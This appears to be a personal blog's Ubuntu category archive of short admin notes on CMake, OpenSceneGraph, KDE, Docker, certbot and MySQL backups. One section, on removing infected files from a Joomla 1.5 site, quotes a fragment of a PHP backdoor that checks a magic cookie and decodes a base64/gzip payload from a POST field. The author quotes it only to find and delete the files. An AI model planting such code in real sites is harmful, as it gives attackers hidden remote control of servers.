Category Archives: Ubuntu

Compiling the latest version of CMake from sources on Ubuntu

I was unable to add QML resources to a QT Quick application with CMake 2.8 installed on my machine, so I built the latest version of CMake with the following commands:

cd ~/examples
mkdir tools
cd tools
mkdir install
tar -xf ~/Downloads/cmake-3.9.1.tar.gz
cd cmake-3.9.1/
./configure --prefix=/home/dmitry/examples/tools/install/
make -j4
make install

Now my QT application is compiled and run successfully:

~/examples/tools/install/bin/cmake ../../OsgQmlTest/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_MODULE_PATH=/home/user/3rdpart/osg/CMakeModules/ -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j4
make install


Building OsgQtQuick on Ubuntu 14.04

The following section in OsgQtQuick‘s CMakeLists.txt:

find_package(OpenSceneGraph 3.0 REQUIRED

results in CMake searching for FindOpenSceneGraph.cmake file:

strace cmake ../../osgqtquick/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install |& grep -i OpenSceneGraph
access("/home/dmitry/examples/osgqtquick/cmake/FindOpenSceneGraph.cmake", R_OK) = -1 ENOENT (No such file or directory)
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0
stat("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", {st_mode=S_IFREG|0644, st_size=7438, ...}) = 0
open("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", O_RDONLY) = 3
read(3, "# - Find OpenSceneGraph\n# This m"..., 8192) = 7438
read(3, "/* -*-c++-*- OpenSceneGraph - Co"..., 4096) = 3495
read(3, "/* -*-c++-*- OpenSceneGraph - Co"..., 8191) = 3495
  Could NOT find OpenSceneGraph (missing: OPENSCENEGRAPH_LIBRARIES
  /usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake:187 (FIND_PACKAGE_HANDLE_STANDARD_ARGS)
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0


Building OsgEarth on Ubuntu 14.04

I already had QT 5.5.1 with GCC 4.7.3 (and probably some libraries, including libcurl4-gnutls-dev, libgdal-dev, glut, that are installed, but not built) on my machine, so I built OSG with the following commands (I am not sure that it makes a sense to clone recursively, but making with ‘CMAKE_BUILD_TYPE=Debug’ can be better than with ‘debug’ or ‘DEBUG’, because CMAKE does case-sensitive compare. Also I am not sure What version of OpenSceneGraph I should build OsgEarth with.):

cd ~
mkdir examples
cd examples
mkdir install
git clone --recursive
git tag
git reset --hard OpenSceneGraph-3.5.6
mkdir -p build/osg
cd build/osg
cmake ../../OpenSceneGraph/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j3 install
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/dmitry/examples/install/lib64


How I removed infected PHP files from Joomla 1.5 wesite.

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  echo '</textarea>bg';

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm

Configuring input languages in KDE

If you need Russian language, for example, in KDE you go to System Settings->Input Devices->Keyboard, press Add button and select it:

KDE switch language


How to make Shift+NumPad keys select text and Ctrl+Ins/Shfit+Ins copy/paste in KDE (like as in MS Windows)

I worked a long time with MS Windows before, and when I started to work with KDE, the most annoying thing was that in KDE’s default configuration I was unable to use Shift+NumPad arrows/End/Home to select the text in a text edtor (QT Creator, for example) and copy/paste with Ctrl+Ins/Shift+Ins. This way of copying and pasting is the favorite for me, because Ctrl and Shift are big buttons located at the left side of the keyboard and Ins is one of the biggest right button, so they can be quickly used by both hands. Fortunately there is built-in setting in KDE that enables all my shortcuts:

KDE Settings

Running PHP 5.3/5.6 in a Docker container with Nginx on Ubuntu 16.04

The docker installation procedure depends on the system architecture that can be determined with the following commands:

cat /proc/cpuinfo
dpkg --print-architecture

After I installed Docker I successfully run its test application:

docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
b04784fba78d: Pull complete
Digest: sha256:f3b3b28a45160805bb16542c9531888519430e9e6d6ffc09d72261b0d26ff74f
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
1. The Docker client contacted the Docker daemon.
2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
3. The Docker daemon created a new container from that image which runs the
executable that produces the output you are currently reading.
4. The Docker daemon streamed that output to the Docker client, which sent it
to your terminal.

To try something more ambitious, you can run an Ubuntu container with:

docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:

For more examples and ideas, visit:


Using “apitrace” with an OpenGL application

The basic commands for using apitrace with an OpenGL application are:

apitrace trace --api=gl MyApp
qapitrace MyApp.trace
apitrace dump --blobs MyApp.trace 

The last command generates blobs that can be inspected with the following command, for example:

tail -c $((12*10)) ~/repos/MyApp/build/blob_call2325.bin | xxd -g1

Or by writing a simple C++ program that converts them into CVS format:


Securing Nginx with Let’s Encrypt on Ubuntu 16.04

First we need to install certbot utility:

apt-get install software-properties-common
add-apt-repository ppa:certbot/certbot
apt-get update
apt-get install python-certbot-nginx

After that, we can easily generate SSL certificates for all the domains listed in Nginx ‘server_name’ attributes in alive (working) virtual hosts. The examples are:

certbot --nginx certonly -d -d
certbot --nginx certonly -d -d
certbot certonly --nginx --cert-name -d -d
certbot certonly --nginx --cert-name -d -d -d -d -d -d -d -d -d -d xn--80aajg7ac1agj.xn--p1ai -d www.xn--80aajg7ac1agj.xn--p1ai -d xn--80acc2atiigge7h.xn--p1ai -d www.xn--80acc2atiigge7h.xn--p1ai -d xn--80ajbrkbljkdjhf7k4a.xn--p1ai -d www.xn--80ajbrkbljkdjhf7k4a.xn--p1ai -d -d -d -d -d
certbot --nginx certonly -d,,xn--80agwdbl3g.xn--p1ai,www.xn--80agwdbl3g.xn--p1ai

We cannot use wildcard domains line * with Let’s Encrypt, so we should list all the subdomains. And I do not see anything wrong in combining multiple domains in a single certificate.


Backing up and restoring all the PHP MySQL websites on a Linux server

All the following commands assumes we saved MySQL root password into MROOTPASS variable:

export MROOTPASS=<mysql root password>

The most straight forward method to backup all the MySQL databases and all the website files (PHP scripts, images, etc..) stored in the /home directory is the following:

mysqldump --all-databases -u root -p$MROOTPASS | gzip > all-databases-$(date '+%Y-%m-%d_%H-%M-%S').sql.gz
tar -cvzf home.tar.gz /home

If we backup some individual database (probably not as root) and change its user while restoring it, it might make a sense to remove DEFINER from the output script:

sed -e 's/DEFINER=[^*]*\*/\*/'

The following commands restore all the websites from the archives:

gunzip -c all-databases-2017-05-23_15-31-00.sql.gz | mysql -u root -p$MROOTPASS
cd /
sudo tar -xvzf home.tar.gz

After migration from MySQL versionĀ  14.14 Distrib 5.5.54 to 14.14 Distrib 5.7.18 (I do not know what is the difference between them) I got the following error: “ERROR 1805 (HY000) at line 1: Column count of mysql.user is wrong. Expected 45, found 42. The table is probably corrupted” while trying to drop some user, and fixed it by running:

mysql_upgrade -u root -p$MROOTPASS
service mysql restart